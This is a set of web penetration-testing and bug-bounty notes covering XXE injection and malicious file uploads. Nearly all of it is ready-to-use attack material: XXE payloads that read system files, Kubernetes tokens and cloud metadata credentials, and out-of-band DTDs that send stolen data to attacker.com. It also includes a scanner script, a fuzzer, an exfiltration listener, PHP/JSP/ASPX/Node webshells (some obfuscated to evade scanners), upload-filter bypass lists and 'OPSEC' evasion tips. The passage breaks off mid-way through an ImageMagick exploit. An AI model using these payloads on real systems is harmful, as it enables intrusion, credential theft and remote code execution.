Web VAPT & Bug Bounty Notes#
XML External Entity (XXE) Injection#
Exploit XML parsers that process external entities, leading to file disclosure, SSRF, DoS, or RCE.
Despite security improvements, XXE remains prevalent in SOAP APIs, SVG processing, DOCX/XLSX uploads, and legacy XML parsers. Focus on out-of-band techniques and blind XXE.
Common Endpoints#
- SOAP/XML web services
- REST APIs accepting XML (Content-Type: application/xml)
- File uploads: SVG, DOCX, XLSX, PPTX, ODT
- RSS/Atom feed parsers
- XML-RPC endpoints
- SAML authentication (Security Assertion Markup Language)
- Android app manifest files
- Configuration file imports (XML-based)
Basic XXE Techniques#
<!-- File disclosure (Linux) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
<!-- Alternative syntax -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
<!-- File disclosure (Windows) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">]>
<root>&xxe;</root>
<!-- Modern Windows paths -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]>
<root>&xxe;</root>
<!-- Network access / SSRF -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal.company.com/admin">]>
<root>&xxe;</root>
<!-- Internal port scanning -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:22">]>
<root>&xxe;</root>
<!-- Cloud metadata access (critical in 2025) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<root>&xxe;</root>
<!-- AWS IMDSv2 (token required, but test for IMDSv1) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">]>
<root>&xxe;</root>
<!-- GCP metadata -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token">]>
<root>&xxe;</root>
<!-- Azure metadata -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/">]>
<root>&xxe;</root>
Out-of-Band (OOB) XXE#
<!-- Basic OOB detection (most reliable method) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
<root></root>
<!-- evil.dtd content on attacker server (traditional method): -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/steal?x=%file;'>">
%eval;
%exfiltrate;
<!-- Modern OOB with FTP (bypasses HTTP restrictions) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
<root></root>
<!-- evil.dtd for FTP exfiltration: -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'ftp://attacker.com:2121/?%file;'>">
%eval;
%exfiltrate;
<!-- OOB via error messages (if direct response blocked) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
<root></root>
<!-- evil.dtd for error-based exfiltration: -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!-- OPSEC: DNS exfiltration (works through firewalls) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
<root></root>
<!-- evil.dtd for DNS exfiltration: -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://%file;.attacker.com'>">
%eval;
%exfiltrate;
<!-- Modern technique: Base64 encoding in OOB -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
<root></root>
<!-- evil.dtd with PHP filter for base64: -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfiltrate;
Advanced XXE Techniques#
<!-- XInclude (when DTDs are filtered but XInclude allowed) -->
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</root>
<!-- XInclude with fallback -->
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd">
<xi:fallback>File not found</xi:fallback>
</xi:include>
</root>
<!-- PHP expect wrapper (if PHP XML parser and expect extension) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
<root>&xxe;</root>
<!-- PHP expect with command chaining -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id;whoami;pwd">]>
<root>&xxe;</root>
<!-- PHP filter wrapper (base64 encode to bypass restrictions) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
<root>&xxe;</root>
<!-- PHP filter chaining (2025 technique) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/read=string.rot13|string.toupper/resource=/etc/passwd">]>
<root>&xxe;</root>
<!-- Data URI with base64 -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "data://text/plain;base64,cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaA==">]>
<root>&xxe;</root>
<!-- JAR protocol (Java applications - 2025 still relevant) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com/evil.jar!/file.txt">]>
<root>&xxe;</root>
<!-- Billion laughs attack (XML bomb - DoS) -->
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<root>&lol9;</root>
<!-- Quadratic blowup attack (alternative DoS) -->
<?xml version="1.0"?>
<!DOCTYPE lolz [<!ENTITY lol "lolololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololololol">]>
<root>&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;... (repeat thousands of times)</root>
<!-- XXE via SOAP envelope -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<getUserInfo>
<username>&xxe;</username>
</getUserInfo>
</soap:Body>
</soap:Envelope>
<!-- XXE in SOAP with parameter entities -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%xxe;'>">
%eval;
%exfil;
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<test>data</test>
</soap:Body>
</soap:Envelope>
XXE in Different Contexts#
<!-- SVG Files (image upload vulnerabilities) -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
<!-- SVG with XInclude -->
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</svg>
<!-- Office Documents (DOCX, XLSX, PPTX - 2025 still vulnerable) -->
<!-- 1. Unzip document: unzip document.docx -->
<!-- 2. Modify word/document.xml or xl/workbook.xml -->
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://attacker.com/xxe">]>
<w:document>&xxe;</w:document>
<!-- 3. Rezip: zip -r modified.docx * -->
<!-- DOCX with OOB -->
<!DOCTYPE test [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
<w:body>&exfil;</w:body>
</w:document>
<!-- RSS/Atom Feeds (still common in 2025) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE rss [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<rss version="2.0">
<channel>
<title>&xxe;</title>
<description>XXE in RSS feed</description>
</channel>
</rss>
<!-- Atom feed variation -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE feed [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>&xxe;</title>
<entry>
<content>&xxe;</content>
</entry>
</feed>
<!-- SAML (Security Assertion Markup Language) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
saml:AttributeStatement
<saml:Attribute Name="username">
saml:AttributeValue&xxe;</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
<!-- Android APK (AndroidManifest.xml) -->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE manifest [<!ENTITY xxe SYSTEM "file:///data/data/com.example.app/shared_prefs/prefs.xml">]>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<application android:label="&xxe;">
</application>
</manifest>
<!-- Excel (XLSX) - xl/workbook.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE workbook [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheets>
<sheet name="&xxe;" sheetId="1"/>
</sheets>
</workbook>
<!-- PDF with XML metadata (XMP) -->
<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<x:xmpmeta xmlns:x="adobe:ns:meta/">
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="" xmlns:dc="http://purl.org/dc/elements/1.1/">
dc:title&xxe;</dc:title>
</rdf:Description>
</rdf:RDF>
</x:xmpmeta>
<?xpacket end="w"?>
XXE Detection & Exploitation Tools#
# Manual testing approach
# 1. Identify XML input points (Content-Type: application/xml, text/xml)
# 2. Test with basic XXE payload
# 3. Check for error messages or data disclosure
# 4. Try OOB techniques if no direct response
# XXEinjector - Automated XXE exploitation tool
git clone https://github.com/enjoiz/XXEinjector.git
cd XXEinjector
# Basic file enumeration (save HTTP request to req.txt)
ruby XXEinjector.rb --host=127.0.0.1 --httpport=8000 --file=/tmp/req.txt --path=/etc/passwd --oob=http --phpfilter
# Directory enumeration
ruby XXEinjector.rb --host=127.0.0.1 --httpport=8000 --file=/tmp/req.txt --path=/etc/ --oob=http --enumerate
# SSRF testing
ruby XXEinjector.rb --host=127.0.0.1 --httpport=8000 --file=/tmp/req.txt --url=http://127.0.0.1:8080/admin --oob=http
# Extract multiple files
ruby XXEinjector.rb --host=attacker.com --httpport=80 --file=req.txt --path=/etc/passwd --path=/etc/shadow --oob=http
# OPSEC: Use HTTPS for OOB
ruby XXEinjector.rb --host=attacker.com --httpport=443 --file=req.txt --path=/etc/passwd --oob=https
# Automated XXE detection script
#!/bin/bash
# Usage: ./xxe_detect.sh http://target.com/api/xml
url="$1"
output="xxe_results_$(date +%Y%m%d_%H%M%S).txt"
attacker_server="attacker.com"
echo "[*] Testing XXE on: $url" | tee "$output"
# Phase 1: Basic XXE detection
echo "[*] Phase 1: Basic file disclosure test" | tee -a "$output"
basic_payload='<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<root>&xxe;</root>'
response=$(curl -s -X POST "$url" \
-H "Content-Type: application/xml" \
-d "$basic_payload")
if echo "$response" | grep -qE "[a-zA-Z0-9-]+"; then
echo "[+] VULNERABLE: File disclosure via XXE" | tee -a "$output"
echo "[+] Response: $response" | tee -a "$output"
else
echo "[-] No direct response, trying OOB..." | tee -a "$output"
fi
# Phase 2: OOB XXE detection
echo "[*] Phase 2: Out-of-band detection" | tee -a "$output"
unique_id=$(date +%s)
oob_payload="<?xml version=\"1.0\"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM \"http://${unique_id}.${attacker_server}/evil.dtd\"> %xxe;]>
<root></root>"
curl -s -X POST "$url" \
-H "Content-Type: application/xml" \
-d "$oob_payload"
echo "[*] Check DNS/HTTP logs for: ${unique_id}.${attacker_server}" | tee -a "$output"
# Phase 3: Error-based detection
echo "[*] Phase 3: Error-based detection" | tee -a "$output"
error_payloads=(
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///nonexistent">]><root>&xxe;</root>'
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "">]><root>&xxe;</root>'
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%xxe;'>">%eval;%error;]><root></root>'
)
for payload in "${error_payloads[@]}"; do
response=$(curl -s -X POST "$url" \
-H "Content-Type: application/xml" \
-d "$payload")
if echo "$response" | grep -qiE "error|exception|parse|xml"; then
echo "[+] Error message detected:" | tee -a "$output"
echo "$response" | head -n 20 | tee -a "$output"
fi
done
echo "[*] Testing complete. Results saved to: $output"
# Modern tool: XXE-Fuzzer
cat > xxe_fuzzer.py << 'EOF'
#!/usr/bin/env python3
import requests
import sys
from urllib.parse import urlparse
def test_xxe(url, payloads):
headers = {'Content-Type': 'application/xml'}
for name, payload in payloads.items():
print(f"[*] Testing: {name}")
try:
r = requests.post(url, data=payload, headers=headers, timeout=5)
if r.status_code == 200:
print(f"[+] Response (first 200 chars): {r.text[:200]}")
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <url>")
sys.exit(1)
url = sys.argv[1]
payloads = {
"Basic XXE": '''<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>''',
"XInclude": '''<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</root>''',
"PHP Expect": '''<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
<root>&xxe;</root>''',
"Cloud Metadata": '''<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<root>&xxe;</root>'''
}
test_xxe(url, payloads)
EOF
chmod +x xxe_fuzzer.py
python3 xxe_fuzzer.py http://target.com/api/xml
# OPSEC: Setup OOB listener
# Simple Python HTTP server with logging
cat > xxe_listener.py << 'EOF'
#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s')
class XXEHandler(BaseHTTPRequestHandler):
def do_GET(self):
logging.info(f"GET request: {self.path}")
logging.info(f"Headers: {self.headers}")
if self.path.endswith('.dtd'):
# Serve evil DTD
dtd_content = '''<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com:8000/exfil?data=%file;'>">
%eval;
%exfiltrate;'''
self.send_response(200)
self.send_header('Content-Type', 'application/xml-dtd')
self.end_headers()
self.wfile.write(dtd_content.encode())
else:
# Log exfiltrated data
logging.info(f"Exfiltrated data in query: {self.path}")
self.send_response(200)
self.end_headers()
def log_message(self, format, *args):
pass # Suppress default logging
if __name__ == "__main__":
server = HTTPServer(('0.0.0.0', 8000), XXEHandler)
print("[*] XXE listener running on port 8000")
server.serve_forever()
EOF
chmod +x xxe_listener.py
python3 xxe_listener.py
XXE Prevention Bypass#
<!-- When external entities are disabled but internal ones work -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "file:///etc/passwd">
]>
<root>&xxe;</root>
<!-- Using parameter entities when regular entities filtered -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe "file:///etc/passwd">
%xxe;
]>
<!-- Encoding bypass (UTF-16) -->
<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
<!-- UTF-16 LE (Little Endian) -->
ÿþ<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>
<!-- UTF-7 encoding (rare but works in some parsers) -->
+ADw?xml version=+ACI-1.0+ACI?+AD4-
+ADw-+ACE-DOCTYPE foo +AFs-+ADw-+ACE-ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI-+AD4-+AF0-+AD4-
+ADw-root+AD4-+ACY-xxe+ADs-+ADw-/root+AD4-
<!-- Nested entity definitions -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///etc/passwd">
<!ENTITY % end "]]>">
<!ENTITY % dtd "<!ENTITY content '%start;%stuff;%end;'>">
%dtd;
]>
<root>&content;</root>
<!-- Character reference bypass -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
<!-- CDATA section abuse -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///nonexistent/%file;'>">
%eval;
]>
<root><![CDATA[%exfil;]]></root>
<!-- Remote DTD with local override (if remote DTD allowed) -->
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://attacker.com/evil.dtd" [
<!ENTITY % local SYSTEM "file:///etc/passwd">
]>
<root>&local;</root>
<!-- XXE via XML catalog poisoning (if catalogs used) -->
<!-- Create malicious catalog.xml -->
<?xml version="1.0"?>
<catalog xmlns="urn:oasis:names:tc:entity:xmlns:xml:catalog">
<system systemId="http://www.w3.org/2001/XMLSchema"
uri="http://attacker.com/evil.dtd"/>
</catalog>
<!-- OPSEC: Slow data exfiltration (avoid detection) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
<root></root>
<!-- evil.dtd on attacker server with rate limiting: -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % chunk1 SYSTEM "file:///tmp/chunk1">
<!ENTITY % eval "<!ENTITY % exfil1 SYSTEM 'http://attacker.com/part1?data=%chunk1;'>">
%eval;
%exfil1;
Modern XXE in Cloud Environments#
<!-- Kubernetes secret extraction (if pod has service account) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///var/run/secrets/kubernetes.io/serviceaccount/token">]>
<root>&xxe;</root>
<!-- Kubernetes namespace -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///var/run/secrets/kubernetes.io/serviceaccount/namespace">]>
<root>&xxe;</root>
<!-- Docker socket access (if mounted) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "unix:///var/run/docker.sock">]>
<root>&xxe;</root>
<!-- AWS ECS metadata (v2 endpoint) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.170.2/v2/credentials/">]>
<root>&xxe;</root>
<!-- AWS ECS task metadata -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.170.2/v2/metadata">]>
<root>&xxe;</root>
<!-- GCP metadata with recursive listing -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://metadata.google.internal/computeMetadata/v1/?recursive=true">]>
<root>&xxe;</root>
<!-- Azure managed identity endpoint -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net">]>
<root>&xxe;</root>
<!-- OPSEC: Multi-stage exfiltration for large files -->
<!-- Stage 1: Get file size -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///proc/self/stat">]>
<root>&xxe;</root>
<!-- Stage 2: Exfiltrate in chunks via OOB -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/chunk.dtd"> %xxe;]>
<root></root>
<!-- chunk.dtd: -->
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/large/file">
<!ENTITY % chunk1 "substring(%file;, 0, 1000)">
<!ENTITY % exfil1 SYSTEM "http://attacker.com/1?d=%chunk1;">
File Upload Attacks#
Upload malicious files to achieve remote code execution, XSS, or other security compromises.
Cloud storage integration, container environments, and serverless functions have expanded the attack surface. Focus on polyglot files, image processing vulnerabilities, and cloud storage misconfigurations.
Common upload types: Profile pictures, documents, avatars, resumes, invoices, media files, configuration imports
Basic Webshell Payloads#
<!-- Minimal PHP webshell -->
<?php system($_GET['cmd']); ?>
<!-- Alternative minimal shells -->
<?php `$_GET[0]`; ?>
<?=`$_GET[0]`?>
<?php echo shell_exec($_GET['c']); ?>
<!-- Advanced PHP webshell with features -->
<?php
if(isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
echo "<pre>" . shell_exec($cmd) . "</pre>";
}
?>
<!-- Modern PHP 8.x webshell with error suppression -->
<?php
error_reporting(0);
@eval($_POST['x']);
?>
<!-- Obfuscated PHP webshell (bypass scanners) -->
<?php
$a = 'sy'.'st'.'em';
$a($_GET['c']);
?>
<!-- Base64 encoded webshell -->
<?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7')); ?>
<!-- Decodes to: system($_GET['cmd']); -->
<!-- Variable function call (bypass filters) -->
<?php
$f = $_GET['f']; // function name
$p = $_GET['p']; // parameter
$f($p);
?>
<!-- Usage: shell.php?f=system&p=id -->
<!-- One-liner PHP shells (minimal footprint) -->
<?=`$_GET[0]`?>
<?=system($_GET[0]);?>
<?php echo passthru($_GET['cmd']);?>
<?php @eval($_POST['x']);?>
<!-- JSP webshell (Java environments) -->
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(
new InputStreamReader(p.getInputStream())
);
String line;
while ((line = reader.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
<!-- Modern JSP shell with encoding -->
<%@ page import="java.io.*,java.util.*" %>
<%
String cmd = new String(
Base64.getDecoder().decode(request.getParameter("c")),
"UTF-8"
);
out.println(new Scanner(
Runtime.getRuntime().exec(cmd).getInputStream()
).useDelimiter("\\A").next());
%>
<!-- ASP/ASPX webshell (Windows IIS) -->
<%
Set objShell = CreateObject("WScript.Shell")
Set objExec = objShell.Exec(Request.QueryString("cmd"))
Response.Write(objExec.StdOut.ReadAll())
%>
<!-- ASP.NET (ASPX) modern webshell -->
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
string cmd = Request["cmd"];
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
%>
<!-- Python webshell (Flask/Django environments) -->
import os; os.system(request.args.get('cmd'))
<!-- Node.js/JavaScript webshell -->
require('child_process').exec(req.query.cmd, (e,o)=>res.send(o))
Extension Bypass Techniques#
# Double extensions (still effective)
shell.jpg.php
shell.png.php
shell.pdf.php
shell.txt.php
shell.doc.php
# Case manipulation (Windows case-insensitive)
shell.PHP
shell.Php
shell.pHp
shell.phP
shell.PhP
shell.pHP
# Null byte injection (legacy systems, some frameworks)
shell.php%00.jpg
shell.php\x00.png
shell.php%00.gif
# Alternative PHP extensions
shell.php3
shell.php4
shell.php5
shell.php7
shell.phtml
shell.phps
shell.phar
shell.phpt
# ASP/ASPX alternatives
shell.asp
shell.aspx
shell.cer
shell.asa
shell.cdx
shell.ashx
shell.asax
# JSP alternatives
shell.jsp
shell.jspx
shell.jsw
shell.jsv
shell.jspf
# Special characters and path manipulation
shell.php.
shell.php::$DATA # Windows NTFS ADS
shell.php%20 # Trailing space
shell.php%0a # Newline
shell.php%0d # Carriage return
shell.php/ # Trailing slash
shell.php.... # Multiple dots
# Unicode/UTF-8 bypass
shell.ph\u0070 # 'p' as unicode
shell.p\x68p # 'h' as hex
# Polyglot extensions (works as multiple file types)
shell.phpjpg
shell.php.jpg
shell.gif.php
# OPSEC: Legitimate-looking names
update.php
cache.php
config.php
database.php
log.php
Content-Type Bypass#
# Bypass MIME type restrictions
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/gif
GIF89a
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
# Alternative Content-Types to try (ordered by effectiveness)
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif
Content-Type: text/plain
Content-Type: application/octet-stream
Content-Type: application/x-php
Content-Type: application/x-httpd-php
# Content-Type mismatch exploitation
Content-Type: image/svg+xml
Content-Type: text/html
Content-Type: application/xml
# OPSEC: Use realistic Content-Type for file extension
# PNG upload:
Content-Type: image/png
# But file content is PHP shell with PNG header
# Modern techniques: abuse Content-Type parsing
Content-Type: image/jpeg; charset=utf-8
Content-Type: image/png;boundary=shell
Content-Type: multipart/mixed; boundary=--shell
Magic Bytes Bypass#
# Add file signatures (magic bytes) before webshell code
# GIF (most permissive)
GIF89a<?php system($_GET['cmd']); ?>
GIF89a;<?php system($_GET['cmd']); ?>
GIF87a<?php system($_GET['cmd']); ?>
# PNG (more complex but works)
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']); ?>
# JPEG/JPG (common)
\xFF\xD8\xFF\xE0<?php system($_GET['cmd']); ?>
\xFF\xD8\xFF\xE1<?php system($_GET['cmd']); ?>
# PDF
%PDF-1.4
<?php system($_GET['cmd']); ?>
# ZIP (for PHP zip:// wrapper)
PK\x03\x04<?php system($_GET['cmd']); ?>
# BMP
BM<?php system($_GET['cmd']); ?>
# WebP (modern image format)
RIFF....WEBP<?php system($_GET['cmd']); ?>
# Creating files with magic bytes:
# GIF with PHP payload
echo -e "GIF89a\n<?php system(\$_GET['cmd']); ?>" > shell.gif
# PNG with PHP payload
printf "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A<?php system(\$_GET['cmd']); ?>" > shell.png
# JPEG with PHP payload
printf "\xFF\xD8\xFF\xE0<?php system(\$_GET['cmd']); ?>" > shell.jpg
# PDF with PHP payload
echo -e "%PDF-1.4\n<?php system(\$_GET['cmd']); ?>" > shell.pdf
# OPSEC: Create valid image files with embedded PHP
# Use exiftool or jhead to inject PHP in metadata
# Exiftool method (most reliable)
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
mv image.jpg shell.php.jpg
# Alternative: Embed in Copyright field
exiftool -Copyright='<?php system($_GET["cmd"]); ?>' image.png
# Jhead method (JPEG only)
jhead -ce '<?php system($_GET["cmd"]); ?>' image.jpg
# Modern technique: SVG with embedded PHP
cat > shell.svg << 'EOF'
<svg xmlns="http://www.w3.org/2000/svg">
<?php system($_GET['cmd']); ?>
</svg>
EOF
# ImageTragick exploitation (ImageMagick RCE - still relevant in 2025)
cat > exploit.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
